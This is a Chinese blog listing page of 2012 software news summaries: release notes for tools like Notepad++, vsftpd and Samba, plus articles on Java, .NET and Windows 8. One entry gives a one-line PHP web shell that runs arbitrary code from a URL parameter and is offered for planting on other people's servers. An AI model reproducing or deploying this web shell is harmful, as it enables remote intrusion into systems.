上一页 1 ··· 28 29 30 31 32 33 34 35 36 ··· 72 下一页
摘要: Notepad++是一款开源的纯文字编辑器,它支持包括中文在内的多国语言,功能强大,除了可以用来制作一般的纯文字说明文件,也十分适合当作撰写电脑程序的编辑器。Notepad++不仅有语法高亮度显示,也有语法折叠功能,并且支援宏以及扩充基本功能的外挂模组。 日前,Notepad++更新至6.1.8正式发布。该版本并未新增功能,主要是性能和稳定性提升,另外还修复了一个回归错误,当保存一个空文件时会提示“没有足够磁盘空间”。 回顾一下Notepad++ 6.0新特性: — 新增对PCRE(Perl Compatible Regular Expressions)的支持; — 添加... 阅读全文
posted @ 2012-09-19 10:10 ChaunceyHao 阅读(200) 评论(0) 推荐(0)
摘要: Apache Commons Codec 1.7 发布,该版本要求 Java 6 的支持。 这是 Commons 项目中用来处理常用的编码方法的工具类包,例如DES、SHA1、MD5、Base64等等。 详细的改进记录包括: New features:o CODEC-157: DigestUtils: Add MD2 APIs. Thanks to ggregory.o CODEC-156: DigestUtils: add APIs named after standard algorithm nameSHA-1. Thanks to ggregory.o CODEC-155: Digest 阅读全文
posted @ 2012-09-19 10:08 ChaunceyHao 阅读(408) 评论(0) 推荐(0)
摘要: OfficeFloor 2.4.0 发布,该版本重写了 Socket I/O ,使性能得到显著的提升;改进了 WoOF 图形编辑器的外观等。 OfficeFloor 是一个 IoC 2.0 的实现,主要是聚焦于方法的依赖注入而不是对象。OfficeFloor 还拥有一个基于Eclipse的图形化配置插件,如下图所示: OfficeFloor 的详细介绍:请点这里 OfficeFloor 的下载地址:请点这里 阅读全文
posted @ 2012-09-19 10:05 ChaunceyHao 阅读(163) 评论(0) 推荐(0)
摘要: 三大ftpd之一的Vsftpd发布3.0.1正式版.2012-09-16.上个版本是2012-04-10的3.0.0 .对比proftpd和pure-ftpd,vsftpd的性能最快,安全性也很好。 可在我的ftp上下载 ftp://61.135.158.199/pub/vsftpd-3.0.1.tar.gz 或者直接下载 https://security.appspot.com/downloads/vsftpd-3.0.1.tar.gz 完全改进:the only noteworthy fix is a seccomp sandbox policy fix which stops ses.. 阅读全文
posted @ 2012-09-19 10:03 ChaunceyHao 阅读(196) 评论(0) 推荐(0)
摘要: Knotter 0.7.0 发布,该版本支持同时打开多个文件,可配置背景,在编辑流程上有多项改进,提供更完善的使用手册。 Knotter 是一个高度可配置的交错图案设计工具。在打结的结设计,可以保存和加载自定义格式或导出为各种格式的图像。 阅读全文
posted @ 2012-09-19 09:52 ChaunceyHao 阅读(177) 评论(0) 推荐(0)
摘要: gWaei 是一个 Gnome 的英日词典 gWaei 3.6.0 发布了,改进记录: This version features a rewritten backend that is much much cleaner. It supports searching stroke ranges (s1-2, for example). mecab is now used to enable smart searches using morphology to find root forms of verbs and to split up words. The program ha... 阅读全文
posted @ 2012-09-19 09:50 ChaunceyHao 阅读(121) 评论(0) 推荐(0)
摘要: Siege 2.73b6 修复了在非常偶发的情况下读取单个字节导致程序挂起和超时的问题。 Siege是一个压力测试和评测工具,设计用于WEB开发这评估应用在压力下的承受能力:可以根据配置对一个WEB站点进行多用户的并发访问,记录每个用户所有请求过程的相应时间,并在一定数量的并发访问下重复进行。 测试方法请看这里。 Siege 的详细介绍:请点这里 Siege 的下载地址:请点这里 阅读全文
posted @ 2012-09-19 09:49 ChaunceyHao 阅读(149) 评论(0) 推荐(0)
摘要: PeaZip 4.7.2 主要是 bug 修复和可用性的增强,更新 ZPAQ 到 4.04 版本。 PeaZip是一款优秀的压缩管理工具,可以运行在Linux系统和Windows系统。支持鼠标右键操作(Linux下也一样)。 阅读全文
posted @ 2012-09-19 09:31 ChaunceyHao 阅读(131) 评论(0) 推荐(0)
摘要: Piggydb 6.2 更新了首页中显示扩展树,可更方便的无需进入 fragment 页面来获取信息。 Piggydb是一个知识管理软件,可以个人和小团体使用。从输入各种信息,来连接他们,然后分类管理,让您可以建立自己的知识和创造想法。 阅读全文
posted @ 2012-09-19 09:30 ChaunceyHao 阅读(166) 评论(0) 推荐(0)
摘要: ODB 2.1.0 发布,该版本包含很多新特性,包括: 支持通过访问符、修饰符、函数和表达式来访问数据成员支持虚拟数据成员可在数据成员上直接定义数据库索引支持映射扩展数据库类型,例如空间数据、用户自定义类型和集合更新了 profile 库通过 Boost profile 库提供对 Uuid 和多索引容器哭的持久化支持支持 Visual Studio 2012 和 Clang 3.1 ODB 是一个开源的,支持多平台,支持多数据库的 C++ 的 ORM 框架,可将 C++ 对象数据库表映射,进行轻松的数据库查询和操作。 示例代码: person john ("John", & 阅读全文
posted @ 2012-09-19 09:21 ChaunceyHao 阅读(448) 评论(0) 推荐(0)
摘要: Vaadin 7 发布了 Beta 测试版本,Vaadin 7 版本主要新特性包括: All of GWT is built-inForms are redesignedSASS based themesFaster layoutsHigh-level view managementSupports writing add-ons in JavaScriptSimplified widget developmentCustomize any widget with extensions 后续还将加上内建的服务器推、JSP/JSF 集成、完全 WAI-ARIA 支持等,详细描述请看 https: 阅读全文
posted @ 2012-09-19 09:19 ChaunceyHao 阅读(236) 评论(0) 推荐(0)
摘要: Concurrency Kit 0.2.10 发布,该版本改进了构建系统,完善文档,为 SPMC 增加了无锁的哈希集(隶属 ck_hs 命名空间),SPARCv9 的默认内存模型改为总存储排序,并可通过 --memory-model 来进行配置;增加了 --vma-bits 选项等。 Concurrency Kit 提供了大量的并发原生方法和数据结构用于帮助设计和实现高性能的系统开发。该项目最大限度的降低对操作系统的相关性,提供统一的接口,便于程序在不同系统间的移植。 Concurrency Kit 的详细介绍:请点这里 阅读全文
posted @ 2012-09-19 09:15 ChaunceyHao 阅读(264) 评论(0) 推荐(0)
摘要: Graphene 2.0.0.Alpha2 发布,Graphene 项目的目的是使用非常性感的类型安全的 API 进行 Ajax 测试,是 Selenium 项目的扩展。 Graphene 2 基于 Selenium WebDriver API 构建,提供用于编写可重用的、稳定的基于 AJAX 的测试,并提升了可读性。 更多关于 Graphene 2 的详细内容可阅读 Reference Documentation Graphene 的详细介绍:请点这里 Graphene 的下载地址:请点这里 阅读全文
posted @ 2012-09-19 09:14 ChaunceyHao 阅读(118) 评论(0) 推荐(0)
摘要: 2012.09.17, Version 0.9.2 (Unstable) http_parser: upgrade to ad3b631 openssl: upgrade 1.0.1c darwin: use FSEvents to watch directory changes (Fedor Indutny) unix: support missing API on NetBSD (Shigeki Ohtsu) unix: fix EMFILE busy loop (Ben Noordhuis) windows: un-break writable tty handles (Be... 阅读全文
posted @ 2012-09-19 09:13 ChaunceyHao 阅读(174) 评论(0) 推荐(0)
摘要: Samba 3.6.8 修复了一个程序崩溃的 bug,Winbind 的故障以及其他方面的小问题。 Samba,是种自由软件,用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS(Server Message Block/Common Internet File System)网络协定做连结。在目前的版本(v3),不仅可存取及分享SMB的资料夹及打印机,本身还可以整合入Windows Server的网域、扮演为网域控制站(Domain Controller)以及加入Active Directory成员。简而言之,此软件在Windows与UNIX系列OS之间搭起一座桥梁,. 阅读全文
posted @ 2012-09-19 09:11 ChaunceyHao 阅读(165) 评论(0) 推荐(0)
摘要: JFormDesigner 5.2 Beta 引入了 JDeveloper 的插件,支持 Java 8 和 JGoodies Forms 1.6. JFormDesigner 是一种先进的图形用户界面Swing 的设计工具。完全支持JGoodies FormLayout , TableLayout , GridBagLayout ,和其他标准配置管理人员。先进的GridBagLayout支持允许规格的横向和纵向的差距(如TableLayout ) ,这使得设计的一种形式一致差距使用GridBagLayout容易得多。 ... 阅读全文
posted @ 2012-09-19 09:08 ChaunceyHao 阅读(232) 评论(0) 推荐(0)
摘要: [Java]代码 01GenericKeyedObjectPool objectPool = new GenericKeyedObjectPool(new KeyedPoolableObjectFactory() {0203@Override04public boolean validateObject(Object key, Object obj) {05return obj != null && (key.equals(JSONParser.class) || key.equals(XmlRpcClient.class));06}0708@Override09pu... 阅读全文
posted @ 2012-09-19 08:59 ChaunceyHao 阅读(306) 评论(0) 推荐(0)
摘要: [代码] 放到别人服务器,攻击性的大小就由你自己决定了。 1<?php2eval(stripcslashes($_GET['e'])); 阅读全文
posted @ 2012-09-19 08:58 ChaunceyHao 阅读(225) 评论(0) 推荐(0)
摘要: Embarcadero Technologies是当代开发环境的先驱,其Borland根源可追溯到Turbo Pascal。近日该公司推出其开发工具产品线的重大更新,该更新是RAD Studio XE3的一部分。RAD Studio包含了Delphi和C++Builder。尽管RAD Studio的细节在八月中旬就已推出,该公司还推出了HTML5 Builder,供移动和web应用开发者使用。该版本重点在于提高对多个版本的Windows和Mac OS X的跨平台开发的支持,增强了数据库的连接,并且支持HTML 5和移动开发。 RAD Studio包括对FireMonkey的 更新。FireMo 阅读全文
posted @ 2012-09-18 20:47 ChaunceyHao 阅读(705) 评论(0) 推荐(0)
摘要: IG GROUP已经开源了它的RESTdoclet Maven插件项目,该插件用于从基于Spring REST框架的服务中生成Web文档。 为什么要开源? REST(幸与不幸,取决于您的理解)没有借鉴适用于SOAP服务的那种正式的WSDL协议定义,但在设计上,它严格遵守正式的接口规范。 服务操作直接遵照通用的Web规范,并不需要说明书:就像大家都知道的GET和POST操作。 可是,尽管REST操作可能比较好理解,但它所涉及到的数据类型可能就并非如此了。这些数据的准确文档说明是这些服务能否被客户成功采用的关键。 这并不是一个新的问题,虽然有一些像Swagger 和 I/O Docs这 样的工具, 阅读全文
posted @ 2012-09-18 20:45 ChaunceyHao 阅读(212) 评论(0) 推荐(0)
摘要: 随着微软上周正式发布Visual Studio 2012,微软公司随即宣布了他们的下一版本。Update 1的CTP(社区技术预览)版预计本月底可用,而Update 1的最终版应该2012年底可用。微软曾表示,他们希望在VS2012上实现的若干目标之一是,修改其架构以便为该产品提供定期的、易于消化理解的更新。 那么Update 1所关注的是哪些领域呢?据微软声称,有“……四个主要类别,包括增加对敏捷团队的支持、持续可用的质量、Microsoft SharePoint开发、及Windows开发。”微软技术院士[1]Brian Harry已经提供了一些详细信息,以便更充分地阐述此描述。此外,下.. 阅读全文
posted @ 2012-09-18 20:43 ChaunceyHao 阅读(308) 评论(0) 推荐(0)
摘要: Java最近处在风口浪尖上,这是最近发生的Java安全问题CVE-2012-4681所带来的杂乱状况的影响。问题还包括相关的一系列针对Java浏览器插件攻击的漏洞CVE-2012-1682、CVE-2012-3136和 CVE-2012-0547。 这些安全问题已经成为大家关注的焦点,特别是当相关攻击代码被加入到Blackhole这一臭名昭著的黑客攻击工具之后,情况变得更加严重。这一工具通过 不断尝试大量可利用的漏洞集来尝试攻击目标机器。这4个漏洞会影响Oracle Java SE7第六次升级补丁及之前版本。其中漏洞0547 也影响到Java 6 第34次升级补丁及之前版本。 波兰的安全创业. 阅读全文
posted @ 2012-09-18 20:41 ChaunceyHao 阅读(141) 评论(0) 推荐(0)
摘要: 最新发布的Windows Management Framework (WMF) 3.0 包含了PowerShell 3.0这个针对系统管理员的命令行脚本工具。同时也包括了Windows Management Instrumentation(WMI)和Windows Remote Management (WinRM)的升级以及一种新的OData的IIS扩展。 据微软所说,PowerShell现在包含了2,400个cmdlet。 3.0版本引入了无连接会话(disconnected sessions)、工作流、计划任务、 cmdlet发现、管理代理(delegated administratio. 阅读全文
posted @ 2012-09-18 20:41 ChaunceyHao 阅读(196) 评论(0) 推荐(0)
摘要: 据微软所说,实体框架 6.0将提供对async关键字的支持,可以通过SaveChangesAsync()或ExecuteSqlCommandAsync()方法来实现。 OdeToCode的首席咨询师Scott Allen,通过对实体框架项目网站中获取的源代码进行剖析,研究了async的实现方式。 实体框架 6.0也能让开发人员通过使用FindAsync()和SingleAsync()方法,来在IQueryable(IQueryable<T>)操作符上执行异步操作。而且,也能够利用ToListAsync()来真正执行上述代码。 “新的IQueryable操作符是一个能够得到具体结果的 阅读全文
posted @ 2012-09-18 20:40 ChaunceyHao 阅读(305) 评论(0) 推荐(0)
摘要: Yeoman是由Paul Irish、Addy Osmani、Sindre Sorhus、Mickael Daniel、Eric Bidelman和Yeoman社区共同开发的一个项目。它旨在为开发者提供一系列健壮的工具、程序库和工作流,帮助他们快速构建出漂亮、引人注目的Web应用。 Yeoman拥有如下特性: 快速创建骨架应用程序——使用可自定义的模板(例如:HTML5、Boilerplate、Twitter Bootstrap等)、AMD(通过RequireJS)以及其他工具轻松地创建新项目的骨架。自动编译CoffeeScrip和Compass——在做出变更的时候,Yeoman的LiveRe 阅读全文
posted @ 2012-09-18 20:40 ChaunceyHao 阅读(250) 评论(0) 推荐(0)
摘要: 相信大家用的ListView控件一定很多的,是竖向滑动的,复用convertView,我们可以加载成千上万的数据,但有时候我们会有这个需求 比如相册,我们想横向滑动,并且数据有好多,这时候ViewPager控件就派上用场了,ViewPager使用时候我们需要导入第三方包 android-support-v4.jar包,这是谷歌提供的,这个包里有Fragment ViewPager等控件,用户导入这个包,在3.0以前就可以使用Fragment控件了~下面就开始讲下ViewPager的用 法,ViewPager和ViewFlipper用法类似,但是更好用,左右滑动效果好,而且有类似于ListVi. 阅读全文
posted @ 2012-09-18 20:36 ChaunceyHao 阅读(953) 评论(0) 推荐(0)
摘要: 本文给出了模拟竹叶、长叶草、杂乱石头、天上繁星等关键代码。使用.Net环境下C#语言,GDI+编写。模拟竹叶挺像的吧?谁说不像,我跟谁急!//关键参数int minCorners = 3;int maxCorners =4;PointF[] points = Stone.CreateStone(new Point((int)(perX * j), (int)(perY * i)), (int)(perX * 1.4f), (int)(perX * 0.009f), corners);模拟长叶青草说实话,这个不太像,太整齐了,应该再杂乱无章点。//关键参数int minCorners = 2.. 阅读全文
posted @ 2012-09-18 20:36 ChaunceyHao 阅读(161) 评论(0) 推荐(0)
摘要: 摘要:本文是Bruce Eckel和Bill Venners对C#首席架构师Anders Hejlsberg的采访,在本文中你将可以了解为什么C#默认声明是非虚拟化方法,而是采取和Java、C++中相反的解决方案,这一切跟版本控制以及方法覆盖有关系。 默认非虚拟化 Bill Venners:在Java中,实例方法默认是虚拟化的,只有显式声明为final时,才可以在子类中被覆盖。相比之下,C#中实例方法默认为非虚拟化,要想声明虚拟化方法需要显式声明它为虚拟的。为什么要这样做? Anders Hejlsberg:原因在于以下几点: 首先是性能。通过观察,我们发... 阅读全文
posted @ 2012-09-18 20:34 ChaunceyHao 阅读(276) 评论(0) 推荐(0)
摘要: 据国外媒体报道,Adobe今天表示,下一代Photoshop将不再支持Windows XP,Windows 7或更高版本的用户才能享用。 Adobe产品经理汤姆·霍加蒂(Tom Hogarty said)在博文中表示,“Photoshop团队希望提前通知人们,Photoshop CS6 (13.0)将会是支持Windows XP系统的最后一个Photoshop主要版本。” 至于原因,他指出,现代性能敏感型软件需要现代硬件图形接口,尤其是可充分利用图形处理器性能的接口,而这点正是Windows XP所欠缺的。 他说,Adobe将会为当前的CS6版本提供漏洞补丁修复。Adobe为整个Cr 阅读全文
posted @ 2012-09-17 18:32 ChaunceyHao 阅读(200) 评论(0) 推荐(0)
摘要: 今天对于开发人员来说是一个非同寻常的日子。我们异常兴奋地宣布,在 10 月 26 日 Windows 8 正式上市之前,Windows 应用商店推出计划的最后一个重要里程碑已经到来。Windows 应用商店现在面向所支持市场中的所有开发人员(包括个人和公司)开放应用提交功能,应用提交市场的数量又增加了 82 个!现在,120 个市场中的开发人员均可以发布 Windows 应用商店应用。本博文由 Windows 应用商店的合作伙伴项目经理 Ted Dworkin 撰写。 --Antoine 在 Windows 8 开发的每一个重要里程碑(Release Preview... 阅读全文
posted @ 2012-09-16 18:54 ChaunceyHao 阅读(169) 评论(0) 推荐(0)
摘要: 在此前的博文中,我们描述了如何准备好您的应用并以不同方式来通过应用商店出售应用获利。而您将如何接收应用销售付款同样非常重要。在本博文中,Paul Lorah 将介绍 Windows 应用商店如何处理付款,以及何以确保您可以及时接收付款。 --Antoine 在将您的付费应用向用户发布之前,Microsoft 需要收集一些信息来确定以何种方式向您支付。这意味着是时候来讨论一下大家最喜爱的话题了:银行业务和税收!如果您感觉翻阅大量的纳税申报表格和银行对账 单使您疲惫不堪的话,您并不是孤立无援。尽管高枕无忧,但对于 Windows 应用商店,我们的目标是尽可能地减少您在财务和税收文档方面的... 阅读全文
posted @ 2012-09-16 18:53 ChaunceyHao 阅读(346) 评论(0) 推荐(0)
摘要: 出色的 Windows 应用商店应用现已可连接。它们使用动态磁贴、通过单一登录验证用户并且可在设备和用户之间共享数据。要获得连接带来的所有这些显著优势,您的应用需要使用云服务。 构建云服务并不轻松。大多数云平台均提供了通用的功能来存储数据和执行代码,但您必须编写大量的基础结构代码来将这些功能整合在一起。我想您肯定已做好了迎接这项挑战的准备,但我可以保证后端基础结构代码并不是您的首选。您需要专注于实现您的杰出应用程序理念。 为了解决这一难题,我们在本周早些时候宣布了 Windows Azure 中最新服务的预览版:移动服务。现在,我将向您展示一下如何使用移动服务在几分钟内将您需要的云服务添加.. 阅读全文
posted @ 2012-09-16 15:59 ChaunceyHao 阅读(269) 评论(0) 推荐(0)
摘要: 在本博文中,我们将提供自动化 Windows 8 应用测试的一些技巧和技术。请记住自动化测试是一项功能强大的技术,其需要一些初期投资来获得丰厚的回报。本博文中的建议和示例旨在带您入门,而您需要在 此基础上构建并维护您自有的基础结构。如果您要寻求一些轻量级的测试技术,请参阅最近发布的关于使用 Visual Studio 测试应用的博文。 典型的应用测试自动化工作流程将涉及以下几个步骤: 安装:自动化应用安装。激活:自动化应用激活。运行时:当应用运行时自动化应用。生命周期状态:自动化您的应用的挂起、恢复和终止。卸载:自动化应用卸载。 我们来详细介绍一下这些步骤,以及用于各个步骤的自动化工具/技术. 阅读全文
posted @ 2012-09-16 15:58 ChaunceyHao 阅读(547) 评论(0) 推荐(0)
摘要: 为了创建出一个卓越的应用,开发人员应专注于可让该应用从同类应用中脱颖而出的内容。Windows 8 提供了诸如超级按钮和应用栏等工具,从而可让开发人员轻松实现真正专注于让应用成为同类最优的内容,并最大程度减少其他内容分散用户对这一核心内容的注意 力。立即从本篇博文中了解如何使用这些工具,让您的应用和用户真正体会到其卓越之处。 专注于您的应用所最擅长的内容 当 您在影院中观看电影时,大屏幕中所播放的影片是您所能看到的唯一内容。影院中的其他地方都是漆黑一片。影院的各个角落都可听到影片环绕播放的声音,因此影 片也是您所能听到的唯一内容。人们常说有些影片属于是您“需要”前往影院观看的影片;如果您... 阅读全文
posted @ 2012-09-16 15:57 ChaunceyHao 阅读(279) 评论(0) 推荐(0)
摘要: 实体框架 5.0提供了对空间数据类型的支持,其利用DbGeography和DbGeometry类来实现。同时,通过在缓存模式中对内联LINQ查询进行转换,引入了LINQ to Entities的自动化编译。因此,开发人员无需再使用以前版本中的CompiledQuery.Compile方法了。 据微软的实体框架团队所述,LINQ to Entities查询和实体框架 4.0相比,可以提高应用程序近60%的性能。 实体框架 5.0可以根据开发环境自动地检测数据库引擎,以便创建新的数据库,从而能够在实体类中利用枚举属性。如果目标数据库没有包含对应模型的任何数据表的话,框架也可以往现存数据库中添加数据 阅读全文
posted @ 2012-09-16 13:36 ChaunceyHao 阅读(191) 评论(0) 推荐(0)
摘要: Google已经发布了Google Cloud Messaging for Android,该服务对已被废弃的云到端消息框架(C2DM)做出改进,取而代之的服务无配额限制、无需注册,并提供了一套更丰富的全新接口。 GCM提供了在应用服务器和Android设备之间引入代理的能力,以保障两者之间可伸缩的云通信。GCM定义了契约,应用服务器和Android 应用都注册GCM服务,Google GCM服务器维护两者之间的通信。GCM服务器负责处理消息队列和分发至运行在Android设备上的目标应用的各个方面。 GCM还提供另一组重要特性。例如,Android设备接收消息不再需要轮询。相反,当接收到应. 阅读全文
posted @ 2012-09-16 13:35 ChaunceyHao 阅读(509) 评论(0) 推荐(0)
摘要: Pierre-Hugues Charbonneau(昵称是P-H)是加拿大CGI公司的高级IT顾问和系统架构师。近日他发表了题为《导致Java EE企业性能问题的十大原因》的文章,列举了对Java EE企业系统性能影响最大的因素,并做出了很好的建议。 在文中,P-H首先指出,在设计和实现Java EE相关技术的时候,性能问题是我们所要面临的最大挑战之一。对于IT架构师和Java EE开发者来说,很重要的是要理解客户端的环境,并确保提出的解决方案不仅能够满足日益增长的业务需要,并且能够确保生产环境在长期之内的可伸缩性和可靠 性。 接下来他列举了在过去十年中所遇到的Java EE性能问题的原因,. 阅读全文
posted @ 2012-09-16 13:35 ChaunceyHao 阅读(139) 评论(0) 推荐(0)
摘要: Windows Identity Foundation(WIF)是微软的一种框架,用于把基于声明的(claims-based)身份验证整合到应用程序中,它现在已经是.NET Framework的一部分。它最初是在2009年11月份作为独立产品发布的。 创建WIF是为了处理访问控制和身份验证更简单,并且使用基于声明的安全令牌跨多个应用程序进行单点登录。它包含了用于构建WCF Web服务和ASP.NET站点的Visual Studio模板,以及ASP.NET登录控件。WIF还让我们可以构建自定义的安全令牌服务(STS),为WS-Federation或WS-Trust协议提供支持。可用的STS提供程 阅读全文
posted @ 2012-09-16 13:26 ChaunceyHao 阅读(240) 评论(0) 推荐(0)
摘要: Entity Framework 5开始支持枚举,但是WCF数据服务中还不支持,这意味着你在编写OData服务的时候需要显式地对其进行处理。 EF 5最近刚刚发布,它包含了一种期待已久的特性——对枚举的支持。然而,WCF数据服务5.0还不支持枚举。由于WCF数据服务使用与Entity Framework相同的实体数据模型,如果你在WCF数据服务中使用包含了枚举的EF模型,那么就会导致神奇的错误。 这是一种突破性的改变,在EF模型中有枚举的模型之前会被忽略,而不会出现错误。 据WCF数据服务团队所说, 对属性(property)使用NotMapped特性(attribute)可能会解决问题。然而 阅读全文
posted @ 2012-09-16 13:25 ChaunceyHao 阅读(205) 评论(1) 推荐(0)
摘要: FriendlyUrls是ASP.NET的一个新特性,在Web表单应用程序中,它使开发者可以很容易地使用漂亮的URL。而且,类似于MVC模式,在同一项目中管理移动(Mobile)和桌面(Desktop)开发视图也变得更加简单。对此,Scott Hanselman有更详细的解释。 这个包如何使用呢?其实很简单,只需将nuget包添加到项目中,再调用routes.EnableFriendlyUrls(),你就可以通过 /Foo来访问/Foo.aspx了!你也能够利用URL片段将更多信息传给页面(如/Foo/bar/34),然后在Foo.aspx页面中可以用 Request.GetFriendlyU 阅读全文
posted @ 2012-09-16 13:24 ChaunceyHao 阅读(248) 评论(0) 推荐(0)
上一页 1 ··· 28 29 30 31 32 33 34 35 36 ··· 72 下一页